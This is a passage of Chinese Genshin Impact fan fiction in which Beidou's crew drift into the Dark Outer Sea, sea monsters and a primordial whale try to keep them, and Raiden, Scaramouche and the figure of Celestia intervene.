大副手里提着一根蓝紫色的触手,语气沉重: “这是我们离开稻妻后遇到的第一条海兽,腕足上的伤口,是它的触手被我们用火器击中的火器,而而距离我们遇到它,已经过了将近七个小时——” 这无疑陈述了一个事实。 “大姐头,海兽们在阻止我们离开这片海域。” 几乎是瞬间,北斗同枫原万叶同时脱口而出道:“你是从哪里找到这条腕足的?” 海兽们会互相猎食,受伤的海兽的残肢要么被吃掉,要么沉入海底。时间已经过去了七个小时,那么,这条触手为什么还能够完好无损地出现在他们面前? “是海兽。” 说道这里,大副甚至全身上下抖了抖。 “它们像是在记仇一样,故意在潜水员下水侦查的时候,把这条触手从海底捞上来,放到了潜水员手上,又把他托上了死兆星号——” 大副露出了一个比哭还难看的笑容: “大姐头,海兽……有这样的智慧吗?” 海兽不可能有这样恐怖的报复心和智慧,哪怕是他们这样在海上讨生活的水手,也是第一次见到如此超乎常理又及其惊悚的现象。 “我们,真的还在稻妻海域——” “不,我们真的还在,提瓦特大陆吗?”—— 作者有话说:家人们,加更明天再放,今天回笼觉给我睡懵了,otz,大家早点睡嗷 第55章 第 55 章(二合一) 人偶将军VS…… 在沿海诸国的传说中, 远离七国的地带,有一片名为暗之外海、连七神都不敢轻闯的可怕海域。 那里的海水如被墨水浸污,如绸缎不散, 远古的海兽栖息在暗之外海的边缘, 而最中央的, 便是上古魔神战争时期, 那些从如今的尘世七执政手底下侥幸逃脱的战败魔神。 据说, 他们带领着不愿沉眠的扈从,逃到此地,将仇恨化作食粮,吞噬一切误入此地的船只。 恐怖的传说如烙印一般印刻在每一个在船上讨生活的水手脑海中。 死一般的沉默和恐惧瞬间蔓延到死兆星号每一个船员身上。 “好了,不要自己吓唬自己。” 北斗提起重剑, 又再度重重地敲在甲板。沉闷的轰隆声在阴沉的空旷海域格外显眼。她扫视一圈后,继续开口道: “当务之急不是在这里把我们的迷失归咎于那些似是而非的恐怖传说——大副,你去船舱里面拿出备用的燃料。后厨, 收拾好这根触手, 今天累了一天,伤员们全部到甲板下的舱室先休息,其余人回岗待命, 等会我们吃炭烤鱿鱼须! ” “不就是些海兽?我们死兆星号最不怕的就是海兽!” “大姐头说得对, 大家赶快修整, 等到日出云层散去, 就能出去了!” “你们几个, 快点把伤员抬下去!” 死兆星号的船员重振旗鼓,飘荡的死兆星号上重新开始了工作。 北斗收起重剑。她盯着这根粗壮的触手,直觉告诉他,这条触手有不太对劲…… 她盯着这根怎么看怎么觉得奇怪的触手, 枫原万叶则顺着她的视线,问道: “怎么了?又发现什么不对劲的地方了吗?” 北斗用力掐了一把软塌的触手,又把它挑起翻了个面,迟疑道: “除了火器的灼伤,这条触手没有任何别的伤痕。还有你看——” 北斗给枫原万叶指了指参差不齐的断面,比起像是人类武器造成的伤口,更像是被海兽的獠牙撕扯下来的痕迹。 海兽的恢复能力很强,不可能无缘无故撕扯下自己伤口并不严重的部分。而根据大副所言,这条触手是由海兽主动交给他们,换而言之—— 某只海兽主动将自己的伤得并不严重的触手咬断,没有选择给自己或是让族群吃掉,而是送给了他们。 枫原万叶单手拎剑,直接选择了肉质最厚的那一块刺下。 拔起剑,枫原万叶反手将洁白如洗的剑身展现给北斗,随后说道:“这根触手里的血在海里就放干了。” 二人心里同时冒出一阵古怪的猜想: 这简直就像,海兽是在替他们处理食材一样。 一条小触手顶着两颗刷白的眼球,窥伺着海面上的人类。 “太好了,人类看懂了我们的意思!他们开始点火煮饭了!” 负责充当望远镜、并大方贡献出自己两颗眼球的螃蟹型海兽咕噜咕噜的吐出兴奋的白沫。 自告奋勇贡献出触手的八爪鱼型海兽邀功:“我说得没错吧?人类就是只喜欢触手!他们不喜欢吃整只的,你们还不信……” 上面是如小山一般的庞大螺壳,下面有数根鱿鱼须的海兽失落的问道:“我这样的不算触手吗?怎么还是被丢下来了?” “但是那个好心的人类帮你把结石给擦下去了诶,可能就是像克拉肯说的那样,人类只喜欢纯粹的触手,讨厌你这种有壳的吧?” 无缘无故挨了一顿损的螃蟹型海兽将眼睛取回,用力按回了原处。 “问题不大,至少不用担心船上的人类莫名其妙地饿死了。当年我还在璃月那边在奥赛尔大人手底下干活的时候,人类一在船上待久了就容易发疯,动不动就会像下饺子一样跳进海里。” 螃蟹型海兽砸吧砸吧嘴,像是回味那美好的岁月:“那时候只要仰着头张大嘴巴就能吃到人肉……真是令人怀念的幸福时光啊。” 魔神战争是属于他们这些长生种最后的荣光时刻。自那之后,便是属于尘世七执政统帅下的人类时代。 时间磨平了海兽们的棱角,暗之外海虽然无聊,但至少够大,熟人也够多。虽然他们心心念念的奥赛尔大人没来得及跑到暗之外海、而是被摩拉克斯封印在海底成为了璃月著名旅游景点,但总归是保住了一条命。 前段时间,他们这些窝在暗之外海的水族遗老们还听到了远在璃月的奥赛尔突破封印后震撼人心的集结宣言。可惜,当他们鼓足勇气、收拾收拾行囊准备出发的时候,天理恐怖的力量给了他们这些心存侥幸的家伙们一个当头棒喝。 原本还野心勃勃想要趁机报复摩拉克斯的魔神们直接作鸟兽状散,奥赛尔和他老婆当场重新把岩枪插回自己脑袋上,遥远的暗之外海也再度恢复了平静,直到现在—— 继奥罗巴斯背回来一整个小岛的人类之后,又有一艘载满人类的船只进入暗之外海。 螃蟹形态的海兽咬一口克拉肯的触手,砸吧砸吧嘴,一边嚼着一边问道:“奥罗巴斯大人应该比较懂人类吧?要不要把他请过来看看怎么处理?” 他们只是一群柔弱可怜、见风使舵的小海兽罢了,可不敢冒着被天理当场拍成海鲜刺身的风险推着这群人类离开暗之外海。 “奥罗巴斯大人不是喜欢人类,只是喜欢他自己的人类。” 精通人性的克拉肯把头摇的飞起煞有介事地为自己什么都不懂的可怜同事分析道:“你们看,他只是把那座用珊瑚枝构筑的岛屿和人类背回来了,巴尔泽布的稻妻他可是一点都没有管。这群人类身上的气味和奥罗巴斯的人类身上的味道一点都不一样,他应该不会管的吧?就这么放着,会有喜欢人类的家伙来认领的。” 三只海兽一边摇头一边齐齐叹气,惹得他们身下那群没有脑子的子孙后代也跟着摇头晃脑一起叹气。 巨大的震动又使得平静的海域莫名其妙地出现了汹涌的波涛,原海巨灵犹豫再三,终究还是对着这三个奥赛尔的小弟善意提醒道: “你们动静小一点,万一把船只掀翻,小心被维尔金大人变成说不了话的海兽船只哦。” 战斗水平跟魔神同属一个序列的鲸鱼形态原海巨灵比这三只小小的海兽强大得多,作为原枫丹的长生种,他曾经跟许许多多的纯水精灵一起聊天,知道人类在海上存活不仅仅需要食物,还需要水果、蔬菜和淡水来维持生命体征。 暗之外海没有淡水,无根的雨水从云层落下的途中就会变成海水。 所以光靠吃海鲜是活不下去的。 原海巨灵看着这三只沾沾自喜的海兽,默默叹了口气。庞大的身躯让轻轻的叹息也创造出了巨大的推力,直接把海兽们通通挤开。 原海巨灵无辜地眨了眨自己的小眼睛,宽大如同小山一样的脊背顶住已经失去动力的死兆星号。 “我带这些人类去找奥罗巴斯——” 人类是一种群居动物,有同伴在一起的话,应该就不会害怕了吧? 原海巨灵觉得这个想法很正确。正好,他还能趁这个机会跟奥罗巴斯聊聊天。他实在是好奇,为什么远在巴尔泽布领地的人类血脉中会有如此熟悉的感觉。 陡然抬升之后,北斗向下望去,四周的海兽自动让出了一条道路,紧接着死兆星号无风自动,顺着这条路继续前进。 那是海兽?亦或是比海兽更恐怖的、只存在与传说之中的邪恶魔神?而且这个方向—— “海底的某种生物正试图将我们带入暗之外海深处。” 自欺欺人已经没有任何用处了,吃饱喝足、短暂的歇息之后,死兆星号全体船员已经修整完毕。他们望向北斗,期待他们一直以来信赖的大姐头能够为他们指明方向。 “大姐头,是赌一把,还是大家伙趁着还有些力气拼一把?只要是您说的,弟兄们一定会全力以赴——” 北斗没有说话。她环视一圈,弟兄们的眼睛里有对她的全盘信任、有置死地于后生的信念,唯独没有任何惋惜和责备。 暗之外海,一片从古至今,从未有人类征服并从中离开的海域。 海兽的围猎已经让他们疲于应付,眼下连海兽都不敢轻易攻击的存在,至少目前还没有对他们发动攻击的迹象,那么主动惹怒他并不是一个最佳选择。 “各位——” 北斗听见自己说道。 “我现在所处的,是几千年来从未有人类涉足的神秘之地;我们脚下的海域,是古早魔神战争时期的遗留之物。” “我不能保证前方是希望,我只能保证一件事——” 北斗抽出背上的大剑,声音足够让每一位船员听得清清楚楚: “我北斗,一定会跟大家一起,战斗至流干最后一滴血!” 死兆星号上,没有孬种! 但唯有一人,北斗放心不下。 她看向枫原万叶,这位漂泊异乡、因机缘巧合一直滞留在死兆星号上的浪客,苦笑道: “抱歉,万叶。因为我的失误,让你身处如此险境。若是有机会,你不必理会我们,直接离开就好。” “大姐头此言差矣。” 枫原万叶手中抱剑,轻轻笑了笑: “万叶身无长物,枫原家也已经衰败不堪,雷电五传悉数落寞,到我这一代更是徒留虚名。后来,我的友人为反抗眼狩令而丧命,我也因违背将军的意愿,也成为了被通缉的浪客,算得上是连最后的立足之地也没有了。若不是大姐头伸手相助,恐怕我早就被稻妻奉行的武士捉回去审判。虽说在人生的末路,未能看见家乡的封锁解开、眼狩令和锁国令终止难免遗憾,但人生何处无憾?能够在生命的终点同诸位见证这千百年来从未有人涉足的传说之地,何尝不能算是一种幸事呢?” 从他决心夺回友人的神之眼那一刻,枫原万叶就已经做好了死去的准备。 只是没想到,他没有死在奉行的追杀之下,却死在传说中的暗之外海。 不知道是幸运,还是不幸呢? 若是有一片叶,他也能在这片死寂的无人之地吹响清笛,只可惜…… 就在枫原万叶感慨万千之时,刺耳的雷鸣划破阴暗的云层。 来者的声音,是每一个稻妻人都仰视信仰的存在—— “利维坦的眷属——” 雷光大作,漆黑寂灭的暗之外海因转瞬即逝的雷光陡然亮堂了起来。 雷电的神明拔刀,指向比魔神战争更早时间的死敌阵营的遗老。 “你们为何要绑架我的子民?” 先是奥罗巴斯违约在先,又是水龙王的遗族……巴尔泽布不能不怀疑,这是这群蜗居在暗之外海的战败者们又一轮全新的阴谋。 “谁能证明这是你的人类?这里是暗之外海,可不是稻妻,船上的人也是以摩拉克斯领地的人类居多。他都没有意见,你好意思跟我抢什么?” 原海巨灵的声音依旧悠扬,却完全失去了原先的冷静温和。庞大的、由原始胎海之水构成的原初的水形精灵缓缓上浮,冷冷盯着这位不请自来的稻妻执政官。 这是无主的人类,这是无主的帆船,这里是无神的暗之外海。 既然如此,巴尔泽布凭什么说这是她的人类? 见到原海巨灵有难,海兽们也纷纷浮出水面,原本平静的海域一下子就变得水泄不通。 “巴尔泽布,千百年来我们从未违反规则重返提瓦特,你今天破坏规矩,不怕被其余六神群起而攻之吗?” “哟,这不是管不好稻妻还把手伸到暗之外海的雷神吗?这么能管怎么不去管管你治下的人类?哪怕是在暗之外海,你触怒了天理大人的事迹也是无比出众哦。” “我看见了什么?一个违背天理大人规则闯入暗之外海的神明?” 水族helps水族。 巴尔泽布打破规则进入暗之外海,他们可不理亏。更别说他们还有护身符—— 海兽们自信满满。他们相信已经被天理责难的巴尔泽布不可能冒着再次触怒天理的风险,在天理豁免他们这些长生种的净土出手。 哪怕是为了人类。 更何况他们又没有对人类动手动脚,还把自己的手脚给人类填饱肚子。 巴尔泽布有什么好指责的? 八重神子半手掩面:“哎呀呀,不愧是传说中的暗之外海,居然还有这么多上古遗老……怎么说,影?” 在现存提瓦特的长生种中,八重神子或许称得上见多识广博学多识,但跟暗之外海动不动几千上万年的老妖怪们相比,她对于这片海域的规矩仍知之甚少。 起码就这些海兽们有恃无恐的表现来看,似乎是笃定了影不能出手。 影没有回答。 与此同时,越来越多的魔兽、海兽、甚至是魔神都赶了过来,水族海兽们更加心有底气,抵死都不肯退让。 雷电影紧握刀柄,越拖下去,形势对他们越不利。暗之外海内包罗万象,保不齐会有魔神联手偷袭。 更何况她们还没有找到被奥罗巴斯带走的海祇岛,但是如果任由这条船上的人类继续停留在暗之外海…… 影眉头紧蹙,神明不能无故涉足暗之外海,但托人偶将军的福,她有一个办法,或许能赌一把。 “神子。” 影嘱咐她的友人:“等会我会将身体的权限托付于「将军」,你先撤退到边缘地带,稍后,我会将他们传送至暗之外海和稻妻海域的边缘。” 说罢,「影」回归至意识空间。 人偶将军,亦或者说,祸津御建鸣神命代替御建鸣神主尊大御所,出现在了暗之外海。 还在嘲讽的海兽们瞬间噤声,胆小又惜命的几个家伙已经开始准备跑路。都是千年万年的老长生种了,趋利避害的本能几乎烙印在他们的灵魂之中。 巴尔泽布这个架势,分明是打定主意了要利用钻规则的空子在暗之外海动手。 “雷电将军这是——” “看来稻妻又发生了许许多多我们不知道的事情。” 枫原万叶一手紧握单手剑,一手死死攥住友人已然灰暗的紫色神之眼。 海兽们和凑热闹的魔兽们已经跑了个精光,徒留他们船身下的原海巨灵依旧毫不退让。人偶将军的气息激起了这位至少有四千年不曾战斗的水族的战斗欲。 原海巨灵抢先一步张开巨口,巨大的吸力试图率先争夺对这群人类们的控制权,将他们吞入腹中保管。已经将身体托管给人偶的「将军」也直接动手,力图将一切率先拉入一心净土。 两位魔神级别的强者的领域激烈地争夺起死兆星号所处空间的控制权,撕扯所产生的巨大力量甚至使得死兆星号的龙骨发出悲鸣,船身开始剧烈摇晃。 “该死!他们能不能考虑一下这艘船的承受能力!!” “快把桅杆砍断!减小风阻!!” 枫原万叶拼尽全力,砍出连斩,几下将高耸的桅杆砍成了几块。在桅杆断裂的瞬间,巨大的吸力将木质的桅杆硬生生撕成两半。 人偶将军眼中闪过一丝雷光,原海巨灵瞅准时机,巨大的鲸尾击向人偶将军,滔天的巨浪袭向人偶,随即不等死兆星号上的众人有所反应,张开巨口将他们吞入腹中,一头扎进暗之外海的海水,朝着奥罗巴斯的方向游去。 “不许跑。” 空间乍然变换,周遭的暗之外海逐渐变化为仅存在天空与雷电的领域。 雷电将军整个人偶被巨大手眼托举,脑后悬挂着雷之三重巴光环,两侧均有能量凝结的手臂,左边是三只手臂,中间的手持金刚杵;右边是巨大手臂,上有多只眼睛,紧紧握着放大的梦想一心—— “吐出来,亦或是——” “我亲手挖出来。” · 稻妻海域与暗之外海的边缘地带 破碎的风帆、漂浮的海兽,碎裂的桅杆,以及—— 散兵冷冷盯着手上这些光涨岁数没涨实力的弱小海兽,瑟瑟发抖地指向着暗之外海更深处。 “巴尔泽布,巴尔泽布!!” 与制造者的眼睛颜色完全一样的散兵揪住自己的胸腔,那里应该存放心脏的位置此时抽痛无比。明明就差那么一点点,明明他趁着稻妻大乱知道了一切、甚至找到丹羽久秀仅存的血脉…… “你为何,总是要毁灭我的希望?为何总是要我在决心重新开始的时候,毁掉我的一切!!” “散兵大人,我们还继续前行吗?” 愚人众先遣队硬着头皮劝道:“再往前恐怕……” 谁都知道暗之外海的危险,但这位第六席执行官也不是个好相与的存在。 “当然要去。” 士兵们的心陡然一凉。散兵扫视一圈,冷冷开口: “不过是我一人。你们这帮没用的废物先滚去须弥,到时候,我再跟你们汇合。”—— 作者有话说:每次码字都能意识到自己的手速慢的出奇 晚安家人们 第56章 第 56 章 这何尝不是一种自爆…… 国崩, 雷电将军所创造的人偶,曾在踏鞴砂历史上留下浓墨重彩一笔的倾奇者。 散兵,斯卡拉姆齐, 愚人众的第六席执行官。 历史的尘埃将人与人的旧事一同掩埋, 但一切的一切终究还是有迹可循, 踏鞴砂的灾难在稻妻官方记录以及当地居民的口口相传中, 形成了一个又一个不同角度的故事。 很多时候, 当局者迷。 若不是天理苏醒,至冬女皇的计划被全盘打乱,愚人众在其余六国的阵线被迫收缩,恐怕到现在他都不会知道,被提瓦特人视作地脉异常的虚影重现, 居然是地脉在记录着该地所发生的一切。 在得知了这个关键的信息点之后,散兵立马抛下达达利亚,主动分兵来到稻妻。 他迫不及待地想去验证自己的想法, 浪人和战乱让踏鞴砂成为纷争的中心地带, 但也正因如此,罪魁祸首自以为真相已经全部被掩埋在历史之中。 时间将事件完完整整地铺陈而出,这些他原先从未在意过得地脉残影忠实地记录下当年的一切。 感谢天理的苏醒, 散兵从衣衫中拿出了一朵形状极其诡异的地脉之花。人偶轻轻触摸着这朵闪烁着崇神异光的地脉之花。这朵地脉之花似乎也同他一样, 时间被停滞在了失去一切的那一天。金色的花瓣张开到最大, 花瓣和根系却因为营养的缺失而褶皱枯萎, 而在理应被深埋于地脉、汲取力量的根系位置, 一颗枯萎的脏兮兮心脏,仍在顽强地供给这株地脉之花。 他当年怎么会相信埃舍尔、不—— 他当年怎么就如此轻易地相信了多托雷的谎言? 散兵捧着这颗已经黯淡得失去原有光泽的、萎靡得不足原来四分之一大小的心脏。这颗保护着他从失控的熔炉内部离开、又被他弃之如敝履的的心脏。 离开踏鞴砂的地脉之后,同丹羽心脏已经几乎是共生关系的地脉之花生命也已经彻底步入倒计时。离开了地脉后,这颗同地脉之花共生的心脏, 也将慢慢停止跳动。 散兵将它紧紧地贴近胸口。 他是个自私鬼,他自私地摘下已经凝结的地脉之花,又将其连根拔起,将属于友人最后的遗物藏入自己怀中。 随即,仿佛是下定了最后的决心,散兵剥开衣领,人偶纤细的、曾经只需要为舞蹈装点的手伸进了自己的胸腔,取出里面无用的装置。 他懒得陪多托雷继续这个无趣的寻找心的游戏了。 散兵强硬地将已经共生相处好几百年的地脉之花和丹羽的心脏分开,地脉之花缠住他的手,发出人耳无法听清的尖啸。 他将地脉之花扔进暗之外海的海水,双手捧着丹羽的心脏。 扑通、扑通。 他虔诚地将这颗被多托雷挖出、又被恶劣的谎言所中伤的、属于他最好友人的真挚心脏放入自己的躯壳中。 死去多时的人类心脏隐入了磨损的神造人偶之身躯。 这颗心脏依旧如此地温暖。 明明是神造之物,明明这颗心脏已经被抛弃在踏鞴砂数百年,但是烈火没有烧灼掉丹羽的真挚,谎言也没有让这份迟到多年的“礼物”失去他的光彩。 散兵突然发现,其实,百年前作为倾奇者的他,原来距离所梦寐以求的和平安稳的生活仅仅只有一步之遥。而那样幸福美好、平淡却充实的日子,再也不会回来了。 丹羽会恨死他的,浪费了他的牺牲,丢弃了他最后的遗赠,被罪魁祸首耍的团团转,还因此让雷电五传分崩离析,让他的后人流落他乡。 心脏莫名地抽动,数不清的感觉从原先空荡荡的胸腔中满眼出来。 多托雷这个混蛋,散兵在心底痛骂。 他毁了一切,而他居然还跟这个家伙一起共事、甚至还为他那包裹着蜜糖的成神谎言所动心,自以为终于找到了救赎的办法。 枫原万叶…… 丹羽留存于世的、最后的血脉。 曾经空荡荡的胸腔中出现了心脏的跳动之音,散兵单手紧贴心脏,双眼注视着这片仅余人类的船骸以及魔神余威的暗之外海。 丹羽啊…… 散兵发自内心地祈祷血脉的力量能够顺利地将他指引至枫原万叶所在的地方。暗之外海的海况多变,魔神级别的战斗有时候光是余波都能使得脆弱的空间壁发生错位。 在这种地方,人类是断然无法存活的。 如果你还能听见的话,拜托了……请指引我寻找到你的血脉吧。 在散兵身后,被扯离自己共生体的地脉之花发出独特的尖啸,在这片了无地脉之力的暗之外海中,它身上仅存的地脉力量成为了一道耀眼的信标。 在生命的最后,在共生的人类意志的影响下,它耗尽了身上最后一点的纯净地脉力量,急切地向位于暗之外海正中央的天理发出了此生最为嘹亮的一次求援—— “?” 维尔金顿了顿,若有所思地看向被海雾所笼罩的暗之外海外围。 为了防止人类误入,他曾在暗之外海边缘设下重重的迷雾,就算有人类的船只不小心漂流至此,没有海兽阻挠,应该很快就能够出去才对…… 更何况,从暗之外海抽调的、用来围困稻妻的海水水幕已经撤去,应该不会有船只倒霉地正好被海浪打到暗之外海里边吧? 很会看人下菜碟的螭顶着因为刚刚对海祇岛人出言不逊而挨了一记铁锤的脑袋,谄媚道:“大人,是不是这里不太舒服,要不我们换片海域呼吸呼吸新鲜空气?” 维尔金瞥了眼螭,这家伙逃到暗之外海后,脑子没剩多少,但是野心倒是一点没少。 在提瓦特的时候就眼馋璃月人被摩拉克斯分成好几块封印,好不容易有一片残躯逃到了暗之外海,没有改掉喜欢吃人肉到处惹事的坏毛病也就算了,居然还想要煽动他去扰乱那些老老实实窝在暗之外海休憩的长生种们。 螭难道以为他维尔金比他这个脑子只剩下一丁点的家伙还蠢吗? 派蒙见有人撑腰,也抓紧机会贬一顿刚刚还在强词夺理的螭:“螭,你的小心思跟写在脸上都没差啦!别想着狗仗人势!” 空被派蒙这伤敌一千自损八百的炸裂性发言整得有些头疼。 身下的奥罗巴斯对此非常能够感同身受,作为魔神中难得的对自己实力非常有数的那个类型,奥罗巴斯一直小心翼翼地把自己的活动范围死死框定在天理的规则范围之内。坦白讲,若不是巴尔泽布触怒天理,他真的犯不着冒着违反规则被剁成蛇肉的风险、去把海祇岛拖回来。 奥罗巴斯现在极其不安。 巴尔泽布是被轻轻放下去没错,但现在危机解除,他才想起还有一个要命的事情—— 天理貌似还不知道海祇岛的原地下面就是伊斯塔露的白夜国。 一想到这,本就身心俱疲的奥罗巴斯更是恨不得直接把头伸到巴尔泽布的梦想一心之下。稻妻的事情告一段落,天理怕不是要准备兴师问罪了。 奥罗巴斯忐忑地瑟缩了一圈。 在奥罗巴斯眼中正准备兴师问罪的维尔金,此时在思考着更加重要的事情。 维尔金:话说回来……巴尔泽布是不是还不知道海祇岛被奥罗巴斯背过来了? 以及刚刚那个声音……是地脉之花? 可是暗之外海不应该有这些只存在于提瓦特大陆的特产,维尔金嘴唇轻抿,他低下头,敲了敲奥罗巴斯的大脑袋,后者则是将身子微微压低,静候天理的下一步指示。 “最近……暗之外海有没有发生什么大事?” 奥罗巴斯还没来得及思考在天理眼中,到底什么才能算得上大事,三只常年盘踞在暗之外海边缘、有事没事就跟不懂事的小海兽们吹嘘奥赛尔当年逃跑的英姿的海兽连滚带爬地跑到奥罗巴斯的身边来。 “救命!奥罗巴斯大人!” “巴尔泽布杀进了暗之外海,要出原海巨灵命了!!” “慢慢说,不要着急。” 奥罗巴斯的尾巴扫过这些弱小的海兽,向他们示意着在场唯一有实力替他们主持公道的存在就在这里: “有维尔金大人在,巴尔泽布的恶行必将被绳之以法!” 这些远古海兽们还从未跟这样级别的大人物们说过话,在他们漫长但是又没什么意思的生命中,若不是来到暗之外海,终其一生估计能够见到的最强者也就是摩拉克斯和奥赛尔大人。前者肯定不会替他们出头跟巴尔泽布对着干,后者……虽然不愿意承认,但是奥赛尔大人自从结婚生小孩之后,重心确实就不怎么放在事业上了。 所以,难得有一回占理,这三只海兽很快就叽叽喳喳地告气状来: “巴尔泽布指着摩拉克斯的人类,说那是她的人类,要原海巨灵还给她,原海巨灵大人牢记天理大人颁布的暗之外海法则,抵死不从,谁知道巴尔泽布脾气这么差劲,一言不合就拔刀!” “就是就是!”触手紧张得打结的克拉肯不忘继续伸冤:“我们好心好意看着人类不让他们飘进暗之外海深处。后来遇到了原海巨灵大人,他就说,要把人类带回来给奥罗巴斯大人看看,结果巴尔泽布上来二话不说、拔刀就砍!!” “等等——” 听到这里,维尔金顿感不妙: “也就是说,现在除了奥罗巴斯身上的海祇岛,还有一波人类进入了暗之外海,并且你们还围着人类不让他们的船乱动。甚至原海巨灵还想把人类带到暗之外海深处、不肯让巴尔泽布带她的子民离开?” 第57章 第 57 章 算是……并肩作战?…… 褪去天空那层虚假的蓝色外衣, 暗之外海上的乌云层层遮掩着星空的本质。 人偶将军将原海巨灵拉入属于雷电将军的一心净土。 紫色的天空招摇着鸣神对此地绝对的统治权,纵使是前代水龙王忠诚的众多眷属之一,对于久在暗之外海写作蛰伏读作乱晃的原海巨灵而言, 巴尔泽布此举相当于在明晃晃地告诉他, 哪怕是拼着违背天理所设下的规则, 巴尔泽布也要将这些人类带走。 既然如此, 作为原初便降临于提瓦特大陆的原海巨灵自然不会怯战。 天理将世界同混沌隔开, 于是星球的内核,原始的胎海水孕育了最初的元素造物。 若无天理将伟大的龙王屠戮殆尽,如今的提瓦特,可轮不到魔神和人类做主! 原海巨灵高高跃起,巨大的身躯拍向雷电将军, 后者闪现脱离巨大的攻击范围,随后抓住巨大鲸鱼攻击的后摇,一刀看向鲸鱼柔软的腹部。 被影植入“不要恋战、速救人类”指令的人偶将军高效执行着创造者设定的命令。 不亚于鸣神本人的雷电之力刀刀使出全力, 目的不在于击杀原海巨灵, 而是试图逼它将死兆星号以及其船员吐出来。原海巨灵避也不避,只是微微扭动身躯,凶悍的雷光便打在了坚硬的背甲之上, 只留下浅浅的印痕。 原海巨灵再度下潜, 一阵悠扬悦耳的鲸鸣发出, 一心净土的地面隐隐露出原本的暗之外海海面。 它想逃。 立马分析出原海巨灵意欲何为的影瞬间接管战场, 旋即扭转刀刃所向之处, 向身前快速横斩后横扫,将原海巨灵试图破出结界的常识悉数展出。 梦想一心插入地面,神明的身体半悬于空中,影双手相交, 万千落雷从天而降,狠狠劈向原海巨灵的潜行路径—— “万雷归葬!!” 原本已经隐隐出现的暗之外海海面再度被鸣神的力量所覆盖。原海巨灵一惊,却也不调转方向,而是在头部和腹部凝聚出水甲,继续向他所感知到的薄弱点撞去。多年没怎么用上的战斗本能让他立刻判断出,继续纠缠下去,他只会被巴尔泽布活活耗死在一心净土。 影看出原海巨灵的打算。三颗祸津之雷眼从天而降,雷眼的共鸣让全身上下都被水元素覆盖的原海巨灵再难抵挡。 一波又一波不停歇的雷电冲击波把本就处在不利位置的原海巨灵几乎逼离海水。 “到此为止吧,水龙的遗族!” 影的身后,一道黑色的裂缝中探出巨大的人偶肢体,挥舞这长刀,斩出能切裂空间的极致一刀—— 异变陡生。 长而坚硬的独角阻挡在被祸津之雷眼已经电得来不及避开的原海巨灵身前。 星海间的巨兽兀然从被原海巨灵撞击出一道裂缝的空间口钻出,随之而来的,还有不属于暗之外海、明显是来自于提瓦特内部的海水。 又一只鲸鱼。 两只巨兽合力顶住了来自鸣神的无想的一刀。 但也仅此一刀,以极致称名的雷电影抓住两头巨兽笨重的弱点,短时间内异空间裂缝再度撕扯开来,巨大的梦想一心,那蕴含着鸣神之愤怒的全力一击,直指巨兽,足以划破空间的一刀再度挥舞,雷光照亮了两头巨鲸的水色躯壳,元素的核心发出阵阵共鸣声。 “把人类,还来!!!” 鸣神的暴怒引来千钧雷霆,影切断维系空间的力量,暗之外海重回两条巨鲸眼前。 是利用暗之外海的先天地理优势撤退?还是就此证明一下自己? 原海巨灵选择了前者,而刚刚吞噬了原始胎海就马不停蹄赶来的吞星之鲸状态极佳,效仿着他刚刚从这个似乎是同族的原海巨灵那里学到的新招式。 它张开了黝黑深邃的大嘴,但与原海巨灵内部那纯粹的空灵干净的元素力量不同的事,吞星之鲸巨口之中充斥着不祥的力量,庞大的吸力迫使影不得不眼睁睁地原海巨灵溜走。但下一秒,一道紫色的、略显熟悉,看起来又有些陌生的身影狠狠袭向吞星之鲸。 眼熟的人偶不知为何出现出现在了暗之外海,散兵对着吞星之鲸的尖角发出猛烈的进攻,狂躁的雷点迫使吞星之鲸不得不仰头,将攻击目标转向来人。 影的身形陡然一轻。 “巴尔泽布,快拦住它!不能让它把人类带走!!!” 不用来者多言,凌厉的刀锋刺向原海巨灵,后者急中生智,赶忙将人类从胃里的小空间吐出,然后沉入海底。 死兆星号就这么被原海巨灵从半空中吐出,还没来得及平稳落地,巨大的地势落差就让船上的人类变得像下饺子一般,即将落入海中。 裂缝陡然从半空张开,巨大的冰盖瞬间生成,在人类落地之前就接住了他们。 影分明听到那个突然出现的旧作人偶微微抽气的声音,随即那个从前一直是波澜不惊的小小人偶飞快地凑上前去,颤抖着试探着已然昏迷的人类少年的气息。 影扫了两眼:“他们只是昏迷过去了。” 原海巨灵活在人类尚未遍布提瓦特的亘古年代,这些大家伙们根本不懂自己的的一个翻身,对人类的影响都无比巨大。这些人类只是昏迷而没有因此丢掉小命已经是幸运至极。 “我记得你,国崩。” “感激不尽,巴尔泽布大人,但还请不要用这个名字再称呼我了,如今世上只有愚人众第六席,散兵。” 散兵压下帽檐,盯着这个同样面无表情的神明,顿了顿,终究是瞥过视线,不情不愿地道谢:“我还以为集万千尊荣为一身的鸣神不会顾及卑微蝼蚁的生死,没想到竟然亲自追到暗之外海来……谢谢。” 原本他还以为……他又要来晚了。 但好在,这次没有恶毒的阴谋家从中干涉,也没有莫名其妙出现意外的炉心。 他来的时机正好。 同样觉得自己来得正好的还有维尔金。 “意外收获啊,怎么连深渊都敢在随便出入暗之外海了吗?” 撕开空间裂缝,重归平静的暗之外海半空再次传来在场除了被同伴的呼声吸引而来的吞星之鲸以外,所有魔神和长生种都永远不会遗忘的声音。令原海巨灵和吞星之鲸胆寒的声音从幽暗深邃的星空中传来,不仅瞬间治好了原海巨灵那不服输的犟脾气,马上乖乖地从嗓子眼里把剩下的人类吐出来,更是让吞星之鲸意识到,声音的主人,好像是比眼前的雷电之主更加可怖的存在。 “哦?怎么还有一条小鲸鱼也在这里……” 裂缝中深处一只属于人类的骨节分明的手,随后,吞星之鲸小小的眼睛看见,从通向星空宇宙的裂缝中,一个奇怪的、跟所有人气息都不一样的人类从裂缝中走出,上下打量了一番后,来者似乎是对它提起了兴趣: “原始胎海的外壳,星空的实质内里,以及深渊的气味……嗯,做得很好,巴尔泽布,你成功阻止了深渊的伪物嵌入暗之外海。” 维尔金不忘夸奖正事上非常靠谱的巴尔泽布: “对待深渊的魔物就是不能手下留情,这一点,还是你最让我放心。” 还没有从吞星之鲸身上感受到深渊气息的影默默点头,接下了维尔金的赞许。 意识到自己被天理划归到巴尔泽布一个阵营的散兵轻轻“切”了一声,随后压低了帽檐,不动声色地避开了影略带探究和询问的目光。 天理记性得是多差。散兵忍不住在心底吐槽,明明璃月的时候还见过面,怎么就突然又把他划归到跟巴尔泽布一伙那里了。 殊不知维尔金根本不在乎,在他眼中,七神本就可以视作一体。只要散兵没有突发奇想想要跳到深渊阵营,天理根本不会理会这些小事。 只是瞥了眼,看着着近乎一个模子里刻出来的外貌,以及同是世界树枝桠原材料所做成的躯壳,只要是个人都能得出二人关系并不简单的结论—— 但是,维尔金现在有更重要的事情处理 